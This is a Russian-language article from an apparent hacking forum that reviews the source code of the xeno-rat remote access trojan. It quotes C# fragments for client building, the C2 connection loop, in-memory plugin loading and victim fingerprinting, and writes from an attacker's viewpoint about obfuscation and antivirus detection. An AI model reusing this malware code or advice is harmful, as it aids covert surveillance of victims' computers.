• [ Регистрация ]Открытая и бесплатная
  • Tg admin@ALPHV_Admin (обязательно подтверждение в ЛС форума)

Статья Разбор xeno-rat (PDF)

stihl

Moderator
Регистрация
09.02.2012
Сообщения
1,167
Розыгрыши
0
Реакции
510
Deposit
0.228 BTC
stihl не предоставил(а) никакой дополнительной информации.
Разбор xeno-rat

Ну привет, мои любознательные русские хацкеры. На повестке дня у нас сегодня проект ратника Для просмотра ссылки Войди или Зарегистрируйся, который довольно сильно нашумел, когда, был опубликован на гитхабе. Всяческие журналисты от мира информационной безопасности сразу же пошли по интернетам размазывать свои пиздострадания о "продвинутом кибершпионаже", который теперь внезапно стал "доступен каждому". По громким заголовком можно было подумать, что этот ратник перевернет мир информационной безопасности.
Посмотреть вложение 105458

Но вот прошла уже куча времени... так что там мир информационной безопасности был перевёрнут, или где? Наверное, он просто перевернулся на 360 градусов, а я (слепошарый старик) ничего не заметил... Ну да ладно, журналисты любят нагнетать, работа такая у людей.

Я выбрал для разбора проект Для просмотра ссылки Войди или Зарегистрируйся не потому, что он как-то серьёзно повлиял на что-то, не потому, что он сделан идеально, и не потому, что в нем есть какой-то уникальный функционал. Всё дело в том, что проект достаточно массивный, и покрывает своим функционалом большую часть того, что обычно делает любой ратник. На базе его кода можно рассказать и пояснить за почти всех ратников. Он написан на языке C#, а это значит, что, читая код, нам не придётся "отвлекаться" на аспекты управления памятью и сложности вызова низкоуровневых API операционной системы (ну за исключением PInvoke'ов то там, то тут). Если бы этот проект и поясняющий за ратники материал были бы на сайте для знакомств, это был бы почти идеальный "match".

Прежде, чем мы начнем разбор, важно оговориться, что, во-первых, не стоит рассматривать мои слова о коде, как абсолютную истину в последней инстанции. Я делаю суждения о коде, исходя их моего собственного опыта, и также, как и любой другой человек, могу ошибаться. Если я что-то неправильно понял или неправильно сказал, то напишите об этом в комментариях. Ну и во-вторых, не стоит обижаться, если я вдруг жёстко обосрал ваш код, расценивайте негативные замечания о коде не как критику, а как повод научиться чему-то новому. Никто не заставляет Вас следовать моим замечаниям и рекомендациям.

Ну "поехали" (с). Для новичков в сфере информационной безопасности в самом начале, наверное, стоит пояснить, что такое RAT или ратник. RAT расшифровывается, как Remote Administration Tool, то есть инструмент для удаленного администрирования компьютера. Есть вполне легальные такие инструменты, но когда кто-то говорит RAT или ратник в подавляющем большинстве случаев имеют ввиду малварь, включающую в себя функционал по удалённому администрированию.

Как я уже говорил, проект Для просмотра ссылки Войди или Зарегистрируйся написан на языке программирования C# под .NET-фреймворк версии 4.8 (что можно увидеть в настройках проектов в файлах .csproj, которые являются самыми обычными XML'ками).
XML:
<TargetFrameworkVersion>v4.8</TargetFrameworkVersion>

Многие старечки хают использование дотнетов в малвари из-за того, что якобы .NET-фреймворк может быть не установлен на целевой системе. Возможно, лет 10 назад я бы с этим согласился, но сейчас вы вряд ли найдете в живой природе Венду без .NET-фремворка. Более того, на Windows 7 вы гарантировано найдете фреймворк минимум версии 3.5, а на Windows 10 уже минимум версию 4.6. Закладываться в малвари на наличие версии 4.8 - это уж слишком оптимистично на мой взгляд, но окей. В целом это может быть обусловлено наличием каких-то nuget-библиотек в зависимостях, делать так сам я бы, наверное, не стал.

Репозиторий xeno-rat состоит из проекта клиента (xeno rat client), сервера (xeno rat server) и большого числа плагинов (в папке Plugins). Это - своеобразный пример модульной архитектуры. Клиент - минимальная малварь, которая устанавливается на Венду жертвы. Этот клиент соединяется сервером - графическим приложением, которым управляет, собственно, злой русский или не очень русский хацкер. Клиент и сервер обмениваются сообщениями, когда хацкеру нужно, чтобы клиент выполнил какое-то комплексное действие, сервер отправляет клиенту плагин, который это действие реализует. Подобную архитектуру можно заметить и в других известных оупенсорсных ратниках, в этом нет ничего нового, но с точки зрения общей архитектуры проекта - это хорошо. Для создания малвари у текущей реализации есть ряд проблем, о которых мне, наверное, стоит сказать чуть позже.

Прежде чем мы перейдем от общего к частному, позвольте мне еще одну шутку. Автор xeno-rat (господин Для просмотра ссылки Войди или Зарегистрируйся) также у себя в гитхабах разрабатывает проект Для просмотра ссылки Войди или Зарегистрируйся - проект выглядит еще не готовым и, может быть, мы с вами на него в будущем посмотрим... но пока что, я хотел предложить господину moom825 еще разработать морфер и назвать его (очевидно) Для просмотра ссылки Войди или Зарегистрируйся. Ну да, это "лежало на поверхности", но когда я еще про ксеноморфов пошучу в материале о малваре, я не мог такой шанс упускать.
Посмотреть вложение 105460

Сборка новых клиентов

Помимо управления клиентами в сервер встроен сборщик новых клиентов по параметрам, которые хацкер должен указать в нескольких текстовых полях. Клиент в этот момент находится в уже собранном виде (в виде дотнет сборки или же Assembly), поэтому для его модификации используется сторонняя библиотека dnlib. Реализация этого находится в методе обработки события button2_Click в классе MainForm. Опустим обработчики исключений и другие не особо интересные строки. Сначала у хацкера спрашивают, куда сохранить нового клиента.
C#:
SaveFileDialog saveFileDialog = new SaveFileDialog();
saveFileDialog.Filter = "Executable files (*.exe)|*.exe";
saveFileDialog.Title = "Save File";
saveFileDialog.InitialDirectory =
    Environment.GetFolderPath(Environment.SpecialFolder.Desktop);

if (saveFileDialog.ShowDialog() != DialogResult.OK)
{
    return;
}

AddLog("Building client...", Color.Blue);
string filePath = saveFileDialog.FileName;

Затем текущий исполняемый файл клиента считывается из локальной папки и скармливается библиотеке dnlib, превращаясь таким образом в объект модуля типа ModuleDefMD. Этот объект модуля модифицируется отдельными методами, исходя из того, что ввел хацкер в графическом интерфейсе, и после всех модификаций записывается в файл, который был указан на предыдущем этапе.
C#:
ModuleDefMD module = ModuleDefMD.Load("stub\\xeno rat client.exe");
SetEncryptionKey(module, Utils.CalculateSha256Bytes(textBox14.Text));
SetServerIp(module, textBox12.Text);
SetServerPort(module, int.Parse(textBox13.Text));
SetMutex(module, textBox15.Text);
SetDelay(module, int.Parse(textBox2.Text));
SetStartup(module, checkBox1.Checked);

if (checkBox2.Checked)
{
    SetInstallenv(module, "appdata");
}
else if (checkBox3.Checked)
{
    SetInstallenv(module, "temp");
}
if (checkBox1.Checked && textBox16.Text.Replace(" ","")!="")
{
    SetStartupName(module, textBox16.Text);
}

module.Write(filePath);
module.Dispose();

Давайте для упрощения понимания всех методов, модифицирующих объект модуля ModuleDefMD, рассмотрим один из них. Например, как видно на последнем фрагменте кода в качестве ключа шифрования клиент будет использовать SHA-256 хеш от текстового поля textBox14 (в интерфейсе это поле "Password"), для записи этого значения массива байт автор xeno-rat реализовал следующий метод.
C#:
public static void SetEncryptionKey(ModuleDefMD module, byte[] EncryptionKey)
{
    string typeName = "xeno_rat_client.Program";
    string methodName = ".cctor";
    int instructionIndex = 9;
    TypeDef type = module.Find(typeName, isReflectionName: true);
    MethodDef method = type?.FindMethod(methodName);
    if (method?.Body != null)
    {
        Instruction instruction = method.Body
            .Instructions[instructionIndex];
        Array.Resize(ref EncryptionKey, 32);
        ((FieldDef)instruction.Operand)
            .InitialValue = EncryptionKey;
    }
}

Углубляться в подробность реализации дотнет стандартов и CIL-кода мы не будем, поскольку это отдельная большая и тяжелая тема, но я постараюсь вкратце описать, что тут происходит. Сначала код находит метод .cctor у класса Program. По стандарту именем .cctor в дотнетах называются статические конструкторы классов. Конкретно в случае с классом Program клиента автор не создавал статического конструктора, он был создан автоматически компилятором из кода.
C#:
class Program
{
    private static Node Server;
    private static DllHandler dllhandler = new DllHandler();
    private static string ServerIp = "localhost";
    private static int ServerPort = 1234;
    private static byte[] EncryptionKey = new byte[32] {
        0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14, 15, 16,
        17, 18, 19, 20, 21, 22, 23, 24, 25, 26, 27, 28, 29, 30, 31
    };
    private static int delay = 1000;
    private static string mutex_string = "testing 123123";
    private static int DoStartup = 2222;
    private static string Install_path = "nothingset";
    private static string startup_name = "nothingset";
    // ...

Это - простейший "синтаксический сахар", который в процессе компиляции превращается примерно в такой C#-код (то есть, чтобы вы понимали, инициализация статических полей класса переносится в начало статического конструктора .cctor).
C#:
class Program {
    private static Node Server;
    private static DllHandler dllhandler;
    private static string ServerIp;
    private static int ServerPort;
    private static byte[] EncryptionKey;
    // И так далее

    static Program() {
        Server = null;
        dllhandler = new DllHandler();
        ServerIp = "localhost";
        ServerPort = 1234;
        EncryptionKey = new byte[32] {
            0, 1, 2, 3, 4, 5, 6, 7, 8,
            9, 10, 11, 12, 13, 14, 15, 16,
            17, 18, 19, 20, 21, 22, 23, 24,
            25, 26, 27, 28, 29, 30, 31 };
        // И так далее

После такого лирического отступления вернемся к коду SetEncryptionKey.
C#:
public static void SetEncryptionKey(ModuleDefMD module, byte[] EncryptionKey)
{
    string typeName = "xeno_rat_client.Program";
    string methodName = ".cctor";
    int instructionIndex = 9;
    TypeDef type = module.Find(typeName, isReflectionName: true);
    MethodDef method = type?.FindMethod(methodName);
    if (method?.Body != null)
    {
        Instruction instruction = method.Body.Instructions[instructionIndex];
        Array.Resize(ref EncryptionKey, 32);
        ((FieldDef)instruction.Operand).InitialValue = EncryptionKey;
    }
}

Код метода SetEncryptionKey находит конкретную инструкцию CIL-кода, отвечающую за инициализацию статического поля EncryptionKey класса в статическом конструкторе и переписывает её аргумент. Давайте рассмотрим, как выглядит CIL-код метода .cctor (для дизассемблирования дотнет-сборок можно использовать, например, ILSpy или dnSpy).
C#:
// ...
2:  ldstr "localhost"
3:  stsfld string Program::ServerIp
4:  ldc.i4 1234
5:  stsfld int Program::ServerPort
6:  ldc.i4.s 32
7:  newarr [System.Runtime]System.Byte
8:  dup
9:  ldtoken field valuetype "<PrivateImplementationDetails>/..."
10: call void RuntimeHelpers::InitializeArray(...)
11: stsfld byte[] Program::EncryptionKey
// ...

Я немножко упростил для понимания CIL-код и проставил слева индексы инструкций. CIL-код - это байт-код стековой виртуальной машины, то есть все операции проходят через загрузку и снятия значений на/со стека. Так, например, чтобы положить какое-то значение в статическое поле класса, нужно сначала загрузить это значение на стек (для этого есть инструкции типа ldstr (индекс 2), которая кладет на стек строковую константу из своего операнда), а потом положить значение со стека в поле (для этого есть инструкция stsfld (индекс 3), операндом которой является конкретный токен (metadata token) поля).

Константные массивы примитивных типов (своего рода) "особенные" в этом отношении, они в виде хардкоженных данных попадают как бы внутрь поля специального класса <PrivateImplementationDetails> (индекс 9). Для того, чтобы эти данные из поля загрузить используется отдельный метод InitializeArray из класса RuntimeHelpers (индекс 10). Он считает данные из поля и загрузит их в объект массива, который заранее создается опкодом newarr (индекс 7). Код метода SetEncryptionKey с помощью библиотеки dnlib подменяет данные массива в аргументе инструкции с индексом 9 и тем самым подменяет ключ, зашитый в код, на ключ, который сгенерирован при билде семпла ратника. Очень сложно объяснять такие вещи, не вдаваясь в несколько десятков страниц подробностей, но, я надеюсь, что такое описание более-менее понятно.

К сожалению, автор забил хер на поиск этой инструкции в динамике и просто захардкодил её позицию внутри метода (инструкция оказывается десятой в CIL-коде метода, патчиться инструкция 9, так как счет идет с нуля). Почему это плохо? Если автору xeno-rat или кому то еще взбредет в голову добавить новое статическое поле в класс Program, то все хардкоженные позиции инструкций придется заново пересчитать и захардкодить. Конечно, в данном конкретном случае это работает, но лучше так никогда не делать.

Остальные методы реализуют примерно тоже самое, но с разными хардоженными позициями инструкций. То есть по своей сути при сборке клиента просто происходит замена констант, которыми инициализируются статические поля класса, таким образом конкретный образец клиента получает конкретные настройки. Никакой обфускации или морфинга кода при создании нового клиента (к сожалению) не производится. После записи модуля происходит только подстановка ресурсов, таких как иконка и информация о версии исполняемого файла.
C#:
VersionResource versionResource = new VersionResource();
versionResource.LoadFrom(filePath);
versionResource.FileVersion = textBox4.Text;
versionResource.ProductVersion = textBox3.Text;
versionResource.Language = 0;

StringFileInfo stringFileInfo =
    (StringFileInfo)versionResource["StringFileInfo"];
stringFileInfo["ProductName"] = textBox6.Text;
stringFileInfo["FileDescription"] = textBox7.Text;
stringFileInfo["CompanyName"] = textBox8.Text;
stringFileInfo["LegalCopyright"] = textBox9.Text;
stringFileInfo["LegalTrademarks"] = textBox10.Text;
stringFileInfo["Assembly Version"] = versionResource.ProductVersion;
stringFileInfo["OriginalFilename"] = textBox11.Text;
stringFileInfo["ProductVersion"] = versionResource.ProductVersion;
stringFileInfo["FileVersion"] = versionResource.FileVersion;

versionResource.SaveTo(filePath);
if (label16.Text.Contains(":"))
{
    IconInjector.InjectIcon(filePath, label16.Text);
}

Спонсорский сегмент

А спонсором данного материала является дядюшка Дилдо с нашего любимого уютненького форума XSS.is. Дядюшка Дилдо - это самые кринжовые, но иногда смешные мемы; это - самые непонятные отсылки к хакерским событиям, которые уже никто не помнит; это - самые утончённые подъёбы не по делу и не к месту; это - самое особое мнение, которое никто никогда не слушает. В общем, если вы будете выбирать себе любимого деда на XSS.is, то пусть им будет наш добрый старечёк - дядюшка Дилдо!
Посмотреть вложение 105461

Взаимодействие клиента и сервера

Итак, мы выяснили как данные о сервере зашиваются в каждого нового клиента, теперь давайте посмотрим, как клиент и сервер общаются. Клиент при старте инициализирует несколько не особо интересных вещей (типа мьютексов), затем прописывает себя в автозапуск, если соответствующий статический флаг был прописан классу Program. А затем в цикле происходят попытки подключения к серверу (если во время подключения валятся исключения, то клиент делает паузу в 10 секунд).
C#:
while (true)
{
    try
    {
        Socket socket = new Socket(AddressFamily.InterNetwork,
            SocketType.Stream, ProtocolType.Tcp);
        await socket.ConnectAsync(ServerIp, ServerPort);
        Server = await Utils.ConnectAndSetupAsync(socket,
            EncryptionKey, 0, 0, OnDisconnect);
        Handler handle = new Handler(Server, dllhandler);
        await handle.Type0Receive();
    }
    catch (Exception e)
    {
        await Task.Delay(10000);
        Console.WriteLine(e.Message);
    }
}

Детали конкретного протокола между клиентом и сервером, наверное, не столь важны и интересны. При желании вы можете сами разобраться, что каждый байтик в каждом пакете должен значить. Важно понимать, что клиент устанавливает постоянное TCP-соединение с сервером через сокет и обменивается с ним данными. Соединение может быть построено с помощью асинхронного или синхронного кода с несколькими потоками, может использовать разные API системы и дотнетов, но в максимально обобщенном случае примерно так работает подавляющее большинство ратников.

Опять же жаль, что автор ратника захардкодил значения байтиков в коде, а не оформил их в виде перечислений (enum). Это, конечно, работает в конкретном случае, но нужно быть особо внимательным, когда, вносишь изменения в такой код (не надо делать так).
C#:
// ...
byte[] header = new byte[] { didCompress };
// ...
data = Concat(new byte[] { 3 }, data);//protocol upgrade byte
// ...
new ArraySegment<byte>(new byte[] { 1, 0, 0, 0, 2 })
//...
new byte[] { 109, 111, 111, 109, 56, 50, 53 };
// ...
int opcode = data[0];
switch (opcode)
{
    case 0:
        await SendUpdateInfo(subServer);
        break;
    case 1:
        await dllhandler.DllNodeHandler(subServer);
        goto outofwhileloop;
    case 2:
        await setSetId(subServer,data);
        break;
    case 3:
        return;
    case 4:
        await DebugMenu(subServer, data);
        break;
}
// ...
int opcode = data[0];
switch (opcode)
{
    case 0:
        CreateSubSock(data);
        break;
    case 1:
        await GetAndSendInfo(Main);
        break;
    case 2:
        Process.GetCurrentProcess().Kill();
        break;
    case 3:
        Process.Start(Assembly.GetEntryAssembly().Location);
        Process.GetCurrentProcess().Kill();
        break;
    case 4:
        await Utils.Uninstall();
        break;
}

С моей точки зрения интересно отметить, что передаваемые в обе стороны данные могут быть сжаты, и будут зашифрованы с использованием того самого SHA-256 хеша от пароля. Сжатие данных реализовано в классе Compression, а шифрование данных в классе Encryption соответственно, как видно из данного кода компрессия данных не всегда завершается успехом.
C#:
public async Task<bool> SendAsync(byte[] data)
{
    if (data == null)
    {
        throw new ArgumentNullException(nameof(data),
            "data can not be null!");
    }

    try
    {
        byte[] compressedData = Compression.Compress(data);
        byte didCompress = 0;
        int orgLen = data.Length;
        if (compressedData != null && compressedData.Length < orgLen)
        {
            data = compressedData;
            didCompress = 1;
        }
        byte[] header = new byte[] { didCompress };
        if (didCompress == 1)
        {
            header = Concat(header, IntToBytes(orgLen));
        }
        data = Concat(header, data);
        data = Encryption.Encrypt(data, EncryptionKey);
        data = Concat(new byte[] { 3 }, data);//protocol upgrade byte
        byte[] size = IntToBytes(data.Length);
        data = Concat(size, data);
        await sock.SendAsync(new ArraySegment<byte>(data), SocketFlags.None);

        return true;
    }
    catch
    {
        return false; // should probably disconnect
    }
}

Но тут я внезапно выпал в осадок с реализации метода Concat, который склеивает два массива байт в один. Автор кладет два массива в список, затем через Linq переводит этот список в IEnumerable<byte> и уже из перечисления достаёт склеенный массив.
C#:
public static byte[] Concat(byte[] b1, byte[] b2)
{
    if (b1 == null) b1 = new byte[] { };
    List<byte[]> d = new List<byte[]>();
    d.Add(b1);
    d.Add(b2);
    return d.SelectMany(a => a).ToArray();
}

Нет, конечно, это работает, но это должно быть гораздо медленнее, чем оптимальное решение из-за создания на кучи дополнительных классов и обращения с байтовыми массивами через интерфейс IEnumerable. Наиболее оптимальной по скорости скорее всего будет реализация через метод Buffer.BlockCopy (также можно использовать Array.Copy), ну например так.
C#:
public static byte[] Concat(byte[] b1, byte[] b2)
{
    if (b1 == null) b1 = new byte[] { };
    byte[] result = new byte[b1.Length + b2.Length];
    Buffer.BlockCopy(b1, 0, result, 0, b1.Length);
    Buffer.BlockCopy(b2, 0, result, b1.Length, b2.Length);
    return result;
}

Кроме того, меня удивила реализация методов типа IntToBytes, LongToBytes и так далее. Во-первых, есть прекрасный класс BitConverter, который встроен в .NET-фреймворк с бородатых времен. Можно просто использовать его методы GetBytes и ToInt* для конвертации в обе стороны. Да и потом, вы никогда в природе не встретите Венду, у которой в user-mode будет использоваться big-endian. Раз уж ратник работает только под Вендой, то можно быть уверенным, что будет только little-endian.
C#:
public byte[] IntToBytes(int data)
{
    byte[] bytes = new byte[4];

    if (BitConverter.IsLittleEndian)
    {
        bytes[0] = (byte)data;
        bytes[1] = (byte)(data >> 8);
        bytes[2] = (byte)(data >> 16);
        bytes[3] = (byte)(data >> 24);
    }
    else
    {
        bytes[3] = (byte)data;
        bytes[2] = (byte)(data >> 8);
        bytes[1] = (byte)(data >> 16);
        bytes[0] = (byte)(data >> 24);
    }

    return bytes;
}

Ладно, давайте дальше. Классы Compression и Encryption дублируются в проектах клиента и сервера. Я бы, конечно, выделил их в отдельную общую папку и просто подключал один файл в оба проекта, так как в противном случае при внесении изменений в файл клиента нужно будет их копировать в файл сервера и наоборот. Ain't Nobody Got Time for That (c).

В качестве алгоритма шифрования используется AES. Как я уже сказал, ключом шифрования является вшитый в исполняемый файл клиента SHA-256 хеш. Вектор инициализации IV всегда нулевой (при инициализации байтовые массивы в дотнетах зануляются). Метод Aes.Create, насколько я помню, инициализирует AES в режиме CBC - в режиме сцепления блоков. Ну то есть, если мы закроем глаза на то, что всегда используется один и тот же вшитый в клиента ключ, и что вектор инициализации всегда нулевой, то шифрование вроде бы выглядит нормально. Чего еще хотеть от шифрования в ратнике, так ведь? Не какого-то протокола Диффи-Хеллмана же, не?
C#:
public static byte[] Encrypt(byte[] data, byte[] Key)
{
    byte[] encrypted;
    byte[] IV = new byte[16];
    using (Aes aesAlg = Aes.Create())
    {
        aesAlg.Key = Key;
        aesAlg.IV = IV;
        ICryptoTransform encryptor = aesAlg.CreateEncryptor
            (aesAlg.Key, aesAlg.IV);
        using (MemoryStream msEncrypt = new MemoryStream())
        {
            using (CryptoStream csEncrypt = new CryptoStream
                (msEncrypt, encryptor, CryptoStreamMode.Write))
            {
                csEncrypt.Write(data, 0, data.Length);
                csEncrypt.FlushFinalBlock();
                encrypted = msEncrypt.ToArray();
            }
        }
        encryptor.Dispose();
    }
    return encrypted;
}

Есть одна неприятная тенденция, которую я заметил в этом и в еще нескольких местах кода автора xeno-rat. Есть некоторая вероятность, что значение и правильное использование интерфейса IDisposable ему не понятно. Давайте подробнее... В дотнетах используется сборщик мусора, то есть после того, как память и другие ресурсы больше не нужны программе, они сборщиком мусора автоматически освобождаются. Проблема в том, что когда именно сборщик мусора освободит ресурс толком не известно: скажем, когда-то в будущем. Для тех самых ресурсов, освобождение которых должно происходить сразу после использования или в какое-то определенное время придумали интерфейс IDisposable. Коду достаточно в нужный момент вызвать метод Dispose и ресурс должен освободиться.

Но что будет, если до вызова Dispose произойдет исключение? Да и вообще, программисты склонны забывать сами за собой освобождать память. Поэтому для упрощения работы с IDisposable в язык C# было добавлено выражение using. По своей сути это выражение является просто "синтаксическим сахаром", и эти три фрагмента эквивалентны друг другу.
C#:
// Я - первое:
using(var wtf = new Wtf()) {
    wtf.DoStuff1();
    wtf.DoStuff2();
}

// Я - второе:
{
    using var wtf = new Wtf();
    wtf.DoStuff1();
    wtf.DoStuff2();
}

// Я - третье:
var wtf = new Wtf();
try {
    wtf.DoStuff1();
    wtf.DoStuff2();
} finally {
    wtf.Dispose();
}

То есть при использовании using выражений метод Dispose вызовется всегда, вне зависимости от того, произошло исключение или исполнение прошло без исключений. Автор ратника же миксует использование using с прямыми вызовами Dispose, делать это особо смысла не имеет, всегда используйте using, когда работаете с IDisposable объектами. И никогда не забывайте, что IDisposable объект скорее всего предполагал, что вам нужно вызвать метод Dispose в определенный момент. То есть рассмотренный ранее код нам лучше бы переписать примерно так.
C#:
public static byte[] Encrypt(byte[] data, byte[] Key)
{
    var IV = new byte[16]; 
    using var aesAlg = Aes.Create()
    aesAlg.Key = Key;
    aesAlg.IV = IV;

    var mode = CryptoStreamMode.Write;
    using var encryptor = aesAlg.CreateEncryptor(aesAlg.Key, aesAlg.IV);
    using var msEncrypt = new MemoryStream();
    using var csEncrypt = new CryptoStream(msEncrypt, encryptor, mode));
         
    csEncrypt.Write(data, 0, data.Length);
    csEncrypt.FlushFinalBlock();
    return msEncrypt.ToArray();
}

К реализации сжатия данных я тоже могу докопаться (кто бы сомневался?). Автор зачем-то для сжатия использует алгоритм LZNT1 из системной функции RtlCompressBuffer. Напишите в комментариях, чем это лучше встроенного в дотнеты с бородатых времен алгоритма Deflate или GZIP? Оба алгоритма быстро работают в поточном режиме, то есть не требуют выделения дополнительных буферов, которые в 6 раз больше исходных данных. При этом и сжимают не хуже, и не нужны всякие страшные PInvoke функций из ntdll.dll. Ну и да в текущей реализации, если RtlCompressBuffer вдруг завершается с ошибкой происходит пресловутый memory leak, так как буфер hWork не освободится.
C#:
public static byte[] Compress(byte[] buffer)
{
    var outBuf = new byte[buffer.Length * 6];
    uint dwSize = 0, dwRet = 0;
    uint ret = RtlGetCompressionWorkSpaceSize(
        COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM,
        out dwSize, out dwRet);
    if (ret != 0)
    {
        return null;
    }
    int dstSize = 0;
    IntPtr hWork = LocalAlloc(0, new IntPtr(dwSize));
    ret = RtlCompressBuffer(
        COMPRESSION_FORMAT_LZNT1 | COMPRESSION_ENGINE_MAXIMUM, buffer,
        buffer.Length, outBuf, outBuf.Length, 0, out dstSize, hWork);
    if (ret != 0)
    {
        return null;
    }
    LocalFree(hWork);
    Array.Resize(ref outBuf, dstSize);
    return outBuf;
}

Давайте наконец рассмотрим, как происходит загрузка плагинов. При обработке запроса сервера на загрузку DLL клиент получает имя библиотеки. В классе DllHandler храниться словарь соответствия имен библиотек и их загруженных объектов типа Assembly. Если библиотека еще не была загружена, клиент запрашивает у сервера библиотеку в бинарном виде, а потом загружает ее из памяти с помощью Assembly.Load. Потом в загруженной библиотеке находится класс Plugin.Main, создается объект класса, и у этого объекта вызывается метод Run, которому в свою очередь передается объект сервера типа Node.
C#:
public async Task DllNodeHandler(Node subServer)
{
    byte[] getdll = new byte[] { 1 };
    byte[] hasdll = new byte[] { 0 };
    byte[] fail = new byte[] { 2 };
    byte[] success = new byte[] { 3 };
    try
    {
        byte[] name = await subServer.ReceiveAsync();
        string dllname = Encoding.UTF8.GetString(name);
        Console.WriteLine(dllname);
        if (!Assemblies.ContainsKey(dllname))
        {
            await subServer.SendAsync(getdll);
            byte[] dll_bytes = await subServer.ReceiveAsync();
            Console.WriteLine(dll_bytes.Length);
            Assemblies[dllname] = Assembly.Load(dll_bytes);
        }
        else
        {
            await subServer.SendAsync(hasdll);
        }
        object ActivatedDll = Activator.CreateInstance
            (Assemblies[dllname].GetType(classpath));

        MethodInfo method = ActivatedDll.GetType().GetMethod
            ("Run", BindingFlags.Instance | BindingFlags.Public);
        await (Task)method.Invoke(ActivatedDll, new object[] { subServer });
    }
    catch (Exception e)
    {
        await subServer.SendAsync(fail);
        await subServer.SendAsync(Encoding.UTF8.GetBytes(e.Message));
        Console.WriteLine(e.StackTrace);
    }
}

Метод Assembly.Load довольно часто используется различной малварью и крипторами для размещения полезной нагрузки из памяти, без необходимости записывать библиотеку на диск. Для противодействия этому в дотнеты 4.8 завезли поддержку AMSI - специального интерфейса, который перехватывает загрузку библиотеки через Assembly.Load на низком уровне, а данные библиотеки отправляет на сканирование установленному у пользователя антивирусу (если он поддерживает AMSI, что в современных реалиях практически всегда так). Антивирус после сканирования может разрешить или запретить загрузку библиотеки. Судя по всему, в клиенте xeno-rat отсутствует какое-либо противодействие AMSI (или я слепошарый, если видите, то напишите в комментариях). Учитывая это, а также то, что плагины никак дополнительно не обфусцируются, существенных проблем детектировать загрузку плагинов xeno-rat у антивирусов быть не должно.

Также стоит обратить внимание на то, что библиотеки плагинов формально зависят от сборки основного проекта (например, для передачи типа Node в плагин). Поэтому, автору ратника приходится добавлять свой кастомный обработчик для ресолвинга сборки клиента.
C#:
public DllHandler()
{
    AppDomain.CurrentDomain.AssemblyResolve
        += CurrentDomain_AssemblyResolve;
}

// ...

private static Assembly CurrentDomain_AssemblyResolve(
    object sender, ResolveEventArgs args)
{
    if (new AssemblyName(args.Name).Name == "xeno rat client")
    {
        return Assembly.GetExecutingAssembly();
    }
    return null;
}

Чтобы вы понимали, CurrentDomain_AssemblyResolve - это обработчик события поиска и загрузки библиотеки по ее имени. Когда вызывается метод фреймворка Assembly.Load для загружаемой библиотеки происходит поиск и рекурсивная загрузка всех ее зависимостей. Поскольку все плагины зависят от основного исполняемого файла клиента, его нужно где-то находить, при этом в системе он не прописан, а поскольку библиотеки грузятся из памяти поиск в папке с библиотекой невозможен. Поэтому автор ратника добавляет свой обработчик поиска библиотек и в нем подсовывает работающего клиента, как зависимость.

Тут мы наталкиваемся на еще один важный недостаток текущей модульной архитектуры с точки зрения её использования в малвари. Поскольку в коде клиента захардкожены имена, такие как xeno rat client, Plugin.Main и Run хацкеру нужно быть очень внимательным при прогоне клиента и плагинов через обфускаторы, морферы и пакеры. Указанные строки должны находится в сборках клиента и плагинов в неизменном виде, то есть обфскатор и морфер не должен эти имена изменять. Ну а для антивирусов эти строки вполне легко можно включить в сигнатуры.

Подобный подход, как я говорил ранее, можно увидеть и в других более или менее известных ратниках. Заимствование кода из одних проектов в другие - это не то, чтобы плохо или зазорно. Но иногда бывает интересно проследить, откуда автор той или иной малвари мог бы заимствовать, какие-то идеи или какие-то фрагменты. Вот, например, фрагмент загрузки плагина у Для просмотра ссылки Войди или Зарегистрируйся: различия в деталях, но концепция почти всегда одна и та же.
C#:
private static void LoadPlugin(IPacket packet)
{
    System.Reflection.Assembly assemblytoload =
        System.Reflection.Assembly.Load(
        Compressor.QuickLZ.Decompress(packet.Plugin));
    System.Reflection.MethodInfo method =
         assemblytoload.GetType("Plugin.Launch").GetMethod("Main");
    object obj = assemblytoload.CreateInstance(method.Name);
    LoadingAPI loadingAPI = new LoadingAPI
    {
        Host = StarterClass.clientHandler.host,
        BaseIp = StarterClass.clientHandler.baseIp,
        HWID = StarterClass.clientHandler.HWID,
        Key = Config.generalKey,
        CurrentPacket = packet,
    };

    method.Invoke(obj, new object[] { loadingAPI });
}

Нет какой-то особой глубоко-философской причины, почему для сравнения я взял именно этот ратник, такой подход популярен, его можно увидеть много где. "Орло-монитор-крыса" (EagleMonitorRAT) просто оказался первым примером, что пришел мне в голову, не орите на меня...

Информация о жертве
Клиент собирает базовую информацию о компьютере и операционной системе. Так, например, идентификатор для текущей жертвы формируется через хеширование MD5 склеенной из нескольких параметров строки.
C#:
public static string HWID()
{
    try
    {
        return GetHash(string.Concat(Environment.ProcessorCount,
            Environment.UserName, Environment.MachineName,
            Environment.OSVersion, new DriveInfo(
            Path.GetPathRoot(
                Environment.SystemDirectory)).TotalSize));
    }
    catch
    {
        return "UNKNOWN";
    }
}

public static string GetHash(string strToHash)
{
    MD5CryptoServiceProvider md5Obj =
        new MD5CryptoServiceProvider();
    byte[] bytesToHash = Encoding.ASCII.GetBytes(strToHash);
    bytesToHash = md5Obj.ComputeHash(bytesToHash);
    StringBuilder strResult = new StringBuilder();
    foreach (byte b in bytesToHash)
        strResult.Append(b.ToString("x2"));
    return strResult.ToString().Substring(0, 20).ToUpper();
}

Далее, например, таким образом получается процесс и заголовок текущего активного окна (тут уже происходит вызов нескольких API-функций операционной системы через PInvoke): сначала достается хенд активного окна через GetForegroundWindow, затем его заголовок (GetWindowText), а в конце - процесс, который создал это окно (GetWindowThreadProcessId).
C#:
public static string GetCaptionOfActiveWindow()
{
    string strTitle = string.Empty;
    IntPtr handle = GetForegroundWindow();
    int intLength = GetWindowTextLength(handle) + 1;
    StringBuilder stringBuilder = new StringBuilder(intLength);
    if (GetWindowText(handle, stringBuilder, intLength) > 0)
    {
        strTitle = stringBuilder.ToString();
    }
    try
    {
        uint pid;
        GetWindowThreadProcessId(handle, out pid);
        Process proc=Process.GetProcessById((int)pid);
        if (strTitle == "")
        {
            strTitle = proc.ProcessName;
        }
        else
        {
            strTitle = proc.ProcessName + " - " + strTitle;
        }
        proc.Dispose();
    }
    catch
    {
     
    }
    return strTitle;
}

